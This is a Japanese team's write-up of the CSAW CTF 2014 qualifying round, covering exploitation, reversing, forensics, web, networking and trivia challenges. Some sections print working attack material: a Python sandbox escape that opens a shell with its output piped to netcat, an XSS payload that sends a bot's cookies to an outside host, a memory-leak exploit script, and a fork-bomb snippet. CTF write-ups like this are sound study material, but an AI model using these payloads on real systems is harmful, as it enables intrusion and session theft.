CSAW CTF 2014 予選Write-up

CSAW CTF 2014の予選にsuperflipというチーム名で参加した。結果。2240点145位。去年までは簡単な問題が多かったけど、今年は難しい問題は普通に難しかった。以下、解けた問題の解法。問題はアカウントを登録すれば、ここでまだ見られる。


Exploitation

bo (100点)

バイナリファイルとそれが動いているサーバーのIPアドレスが提示される良くある形式。普通はバイナリファイル中にフラグは無いので、バイナリファイルを解析して、その結果をサーバーに投げるけれども、この問題はバイナリファイル中にフラグがそのまま含まれていた。

>strings bo
 :
Welcome to CSAW CTF!
Time to break out IDA Demo and see what's going on inside me.  :]
flag{exploitation_is_easy!}
Unable to set SIGCHLD handler
 :
exploitation_is_easy!
pybabbies (200点)

Pythonの問題。globals()と__builtins__.__dict__が消去された環境で、入力された文字列からosやevalなどの文字列がフィルタリングされたあと、execされる。このページを参考にシェルを取った。

__builtins__.__dict__['len']=lambda p:p.__len__();[c for c in ().__class__.__base__.__subclasses__() if c.__name__=='catch_warnings'][0].__init__.__globals__['linecache'].__dict__['o'+'s'].__dict__['exe'+'clp']('sh','sh')

標準出力が表示されなかったので、パイプで「| nc 自分のIP ポート」に投げた。

>nc -l 1234
total 72
drwxr-xr-x 4 pybabbies pybabbies  4096 Sep 20 17:35 .
drwxr-xr-x 4 root      root       4096 Sep 14 19:04 ..
lrwxrwxrwx 1 pybabbies pybabbies     9 Sep 20 08:45 .bash_history -> /dev/null
-rwxr-xr-x 1 pybabbies pybabbies   919 Sep 20 05:28 .bash_history.old
-rwxr-xr-x 1 pybabbies pybabbies   220 Sep 14 19:04 .bash_logout
-rwxr-xr-x 1 pybabbies pybabbies  3950 Sep 20 17:34 .bashrc
-rw-r--r-- 1 pybabbies pybabbies 16384 Sep 20 17:35 .bashrc.swp
drwxr-xr-x 2 pybabbies pybabbies  4096 Sep 20 08:38 .cache
-r--r--r-- 1 root      pybabbies    34 Sep 20 05:28 key
-r--r--r-- 1 root      pybabbies    34 Sep 20 05:28 key.txt
-rwxr-xr-x 1 pybabbies pybabbies   675 Sep 14 19:04 .profile
-rwxr-xr-x 1 root      pybabbies   655 Sep 20 05:28 pyshell.py
-rwxr-xr-x 1 pybabbies pybabbies    75 Sep 14 19:36 .selected_editor
drwxr-xr-x 2 pybabbies pybabbies  4096 Sep 20 14:49 .ssh
-rwxr-xr-x 1 pybabbies pybabbies  7117 Sep 20 17:33 .viminfo

>nc -l 1234
flag{definitely_not_intro_python}
definitely_not_intro_python
saturn (400点)

0xAnを送るとある配列Xのn番目の値が読め、0xEnと直後に4バイトの値aを投げて別の配列Yのa番目の値とaが一致すればn番目のフラグが立ち、0x80を送って0-7番目のフラグが立っていれば答えが表示されるというプログラム。配列Xと配列Yが隣接しているので、0xA8を投げると0xE0に対応する値が読める。

import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("54.85.89.65", 8888))
print s.recv(1000)

for i in range(8):
    s.send(chr(0xa8+i))
    k = s.recv(4)
    print k.encode("hex")
    s.send(chr(0xe0+i)+k)
s.send("\x80")
print s.recv(1000)
greetings_to_pure_digital

Reverse Engineering

eggshells (100点)

ファイルが何個も入ったPythonのプログラム。試しに動かしてみたら、Fork爆弾を喰らってパソコン蛾物故割れた(´Д`; ) アニメの録画中でなくて良かった(´Д`; )
*.pyの中に1個だけ*.pycがあり、http://kchung.co/lol.pyN という文字列が含まれていた。覗いてみると、

import os
while True:
    try:
        os.fork()
    except:
        os.system('start')
# flag{trust_is_risky}
trust_is_risky
csaw2013reversing2.exe (200点)

Windowsプログラム。IsDebuggerPresentが真ならフラグが復号される。ただし最初の1バイトがヌル文字なのでメモリを覗く必要がある。たしかに去年の問題に同じのがあった。

reversing_is_not_that_hard!
weissman (300点)

オリジナルのアーカイブ方式で圧縮されたファイルを復号しろという問題。アーカイブのファイル名がweissman.csawlzなので、まあLZでしょう。HTMLファイルとフラグが書かれたJpegがあって、HTMLファイルならある程度必要な文字列が決まるのでそれを頼りに圧縮方式を探っていく。
0x13が来たら次の9バイトのブロックをそのまま書き出す。それ以外の値のときは常に偶数でその半分が書き出す長さ、次の2バイトがどこからバイト列を持ってくるかという情報。ここで参照できるのは9バイトのブロックの先頭だけらしい。また、何ブロック前という方式ではなく、同じブロックは同じ2バイトで参照される。ブロックのCRCか何かかなと思ったけど、そこは分からなかった。
まあ、こんな方法でJpegファイルに圧縮が効くわけがなく、0x13以外になることがないので手で埋めた。最初に0x13以外が出てくるのが量子化テーブルで、まあ近くの値というとで0x44を。次がhttp://hp.vector.co.jp/authors/VA032610/JPEGFormat/marker/DHT.htm:tittle=ハフマンテーブル。ここは16バイトの値の合計が続くバイト列の長さになる。全部0x00だと辻褄が合った。ここまででビュアーで開けるようになり、あとは適当に0x00にすると、何とか絵が見える。

I know how long it'd take me, and I can prove it

Cryptography

1問も解けなかった(´Д`; )

Forensics

dumpster diving (100点)

Firefoxのメモリダンプ。「flag{」で検索したら出てきた。

cd69b4957f06cd818d7bf3d61980e291
why not sftp? (200点)

FTPでzipファイルをダウンロードしている。サイズが大きくてパケットが分かれているので、Follow TCP Streamで1方向のみにしてファイルに保存。

91e02cd2b8621d0c05197f645668c5c4
Obscurity (200点)

画像が貼られたPDFファイル。どこかに文字列が隠されているのだろうとあたりをつけて、全て選択→コピペ。

security_through_obscurity

Web

hashes (300点)

古いjQueryで、$(location.hash)をしていた。この脆弱性

http://54.86.199.163:7878/#<img src=x onerror="location='http://xxxxxxxxxxxxxxxx/'+document.cookie">

というURLを投稿すると

GET /win=%22flag%7Bthese_browser_bots_are_annoying%7D%22 HTTP/1.1
User-Agent: Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/534.34 (KHTML, like
Gecko) PhantomJS/1.9.7 Safari/534.34
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://54.86.199.163:7878/
Connection: Keep-Alive
Accept-Encoding: gzip
Accept-Language: en-US,*
Host: xxxxxxxxxxxxxxxx

というアクセスが来る。最初に自分のIPを投稿してもアクセスが無いので、誰かが投稿したURLにアクセスすることはないのかと思ったのだが、http://54.86.199.163:7878/なら良いらしい。

these_browser_bots_are_annoying

Recon

ネトスト問題。1問も解けなかった(´Д`; )

Networking

Big Data (100点)

27MBのpcapファイル。大半がビットトレントの通信のようなので、Protocolでソートして、それ以外の通信を探せば良い。TELNETがあった。パスワードがフラグ。

bigdataisaproblemnotasolution

Trivia

pop pop (10点)

This x86 instruction is an alias for pop eip/rip

ret
geohot pls (10点)

This is what geohot and other members of the CTF community are calling live streamed CTF competitions where spectators can watch competitors screens as they solve challenges.

livectf
We don't know either (10点)

On this day in November, the CSAW Career Fair takes place in Brooklyn, New York.

14
Twitter will you give me @kchung? (10点)

This is the Twitter handle of the student who runs CSAW CTF.

@kchungは取れなかったのか。(´・ω・) カワイソス

poopsec